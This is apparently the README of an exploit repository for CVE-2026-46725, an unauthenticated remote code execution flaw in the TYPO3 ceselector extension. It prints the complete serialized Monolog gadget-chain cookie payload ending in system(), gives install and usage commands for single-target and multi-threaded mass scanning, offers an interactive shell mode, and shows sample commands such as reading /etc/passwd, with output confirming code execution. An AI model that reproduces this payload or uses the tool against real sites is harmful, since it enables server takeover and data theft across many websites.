
Python exploit for CVE-2026-46725, achieving unauthenticated remote code execution in TYPO3 ceselector extension via PHP object injection and Monolog gadget chain.
PHP Object Injection via
unserialize()Cookie Bypass → Remote Code Execution
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-46725 |
| Product | TYPO3 ceselector Extension (mmc/ceselector) |
| Affected Version | <= 1.1.3 |
| Vulnerability Type | Insecure Deserialization (PHP Object Injection) |
| CVSS Score | 9.8 Critical |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (Deserialization of Untrusted Data) |
| EPSS Score | 0.0046 (%64.3 percentile) |
| Authentication | Not required (Unauthenticated) |
| Impact | Full RCE — Complete system control |
| Researcher | DhiyaneshDk |
The TYPO3 ceselector extension passes the cookie value named T3_ceselector_* directly to the unserialize() function without any validation. An attacker can place a specially crafted PHP Object Injection payload into this cookie to execute arbitrary commands on the server.
⚠️ Prerequisite: For the vulnerability to be exploited, the Persistent Mode: Static setting must be enabled in the TYPO3 configuration.
1. GET / → Server returns Set-Cookie: T3_ceselector_<id>=<value>
2. GET / → Cookie: T3_ceselector_<id>=<PAYLOAD>
└─ PHP unserialize() triggered
└─ Monolog Gadget Chain executed
└─ system("id") output reflected in response
Monolog\Handler\GroupHandler
└─ Monolog\Handler\BufferHandler
└─ Monolog\LogRecord (buffer)
└─ processors: [get_object_vars, end, system]
└─ system("<CMD>") ← RCE
O:28:"Monolog\Handler\GroupHandler":1:{
s:11:"*handlers";a:1:{
i:0;O:29:"Monolog\Handler\BufferHandler":6:{
s:10:"*handler";r:3;
s:13:"*bufferSize";i:1;
s:14:"*bufferLimit";i:0;
s:9:"*buffer";a:1:{
i:0;O:17:"Monolog\LogRecord":2:{
s:5:"level";E:19:"Monolog\Level:Debug";
s:5:"mixed";s:2:"id"; ← OS command here
}
}
s:14:"*initialized";b:1;
s:13:"*processors";a:3:{
i:0;s:15:"get_object_vars";
i:1;s:3:"end";
i:2;s:6:"system"; ← sink
}
}
}
}
requests libraryPython >= 3.8
requests >= 2.28.0
# Clone the repo
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725
# Install dependencies
pip install requests
# Or with requirements.txt
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
[-t N] [--timeout S] [--proxy URL]
[-o FILE] [-v] [--no-color]
options:
Target:
-u, --url URL Single target URL
-l, --list FILE Target list (URL per line)
Exploit:
-c, --cmd CMD OS command to execute (default: id)
-i, --interactive Open interactive shell after successful exploit
Scanning:
-t, --threads N Number of threads (default: 10)
--timeout S Timeout in seconds (default: 15)
--proxy URL Proxy (e.g., http://127.0.0.1:8080)
Output:
-o, --output FILE Output file
-v, --verbose Verbose output
--no-color Disable colored output
python CVE-2026-46725.py -u https://typo3-site.com
python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"
python CVE-2026-46725.py -u https://typo3-site.com --interactive
typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit
# Scan with 20 threads, save results
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt
# 30 threads, custom command
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"
python CVE-2026-46725.py -u https://typo3-site.com \
--proxy http://127.0.0.1:8080 -v
https://site1.com
https://site2.com
http://site3.com
site4.com
① TYPO3 & ceselector Detection
────────────────────────────────────────────────────
· TYPO3 ✓ Detected
· ceselector ✓ Active
· Cookie Name T3_ceselector_48291
· TYPO3 Version 12.4.3
② Payload Preparation
────────────────────────────────────────────────────
· Technique PHP Object Injection → Monolog Gadget Chain
· Gadget Monolog\Handler\GroupHandler
· Sink system()
· Command id
④ RCE Output
────────────────────────────────────────────────────
┌─ RCE OUTPUT ───────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────
results.txt)============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
Date: 2026-05-26 17:30:00
============================================================
[+] RCE OBTAINED TARGETS (2)
----------------------------------------
URL : https://typo3-site.com
Version : 12.4.3
Cookie : T3_ceselector_48291
Command : id
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌─────────────────────────────────────────────────────────┐
│ EXPLOIT FLOW │
├─────────────────────────────────────────────────────────┤
│ │
│ 1. DETECTION │
│ GET / ──────────────────────► TYPO3 Server │
│ ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │
│ │
│ 2. PAYLOAD PREPARATION │
│ build_payload("id") │
│ └─ Monolog gadget chain URL-encoded │
│ │
│ 3. EXPLOIT │
│ GET / │
│ Cookie: T3_ceselector_XXXXX=O:28:"Monolog... │
│ ──────────────────────► unserialize() │
│ └─ __destruct() │
│ └─ system("id") │
│ ◄──── uid=33(www-data) gid=33(www-data) ─── │
│ │
│ 4. VERIFICATION │
│ regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=... │
│ │
└─────────────────────────────────────────────────────────┘
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CVE-2026-46725 | TYPO3 ceselector RCE | Python Exploit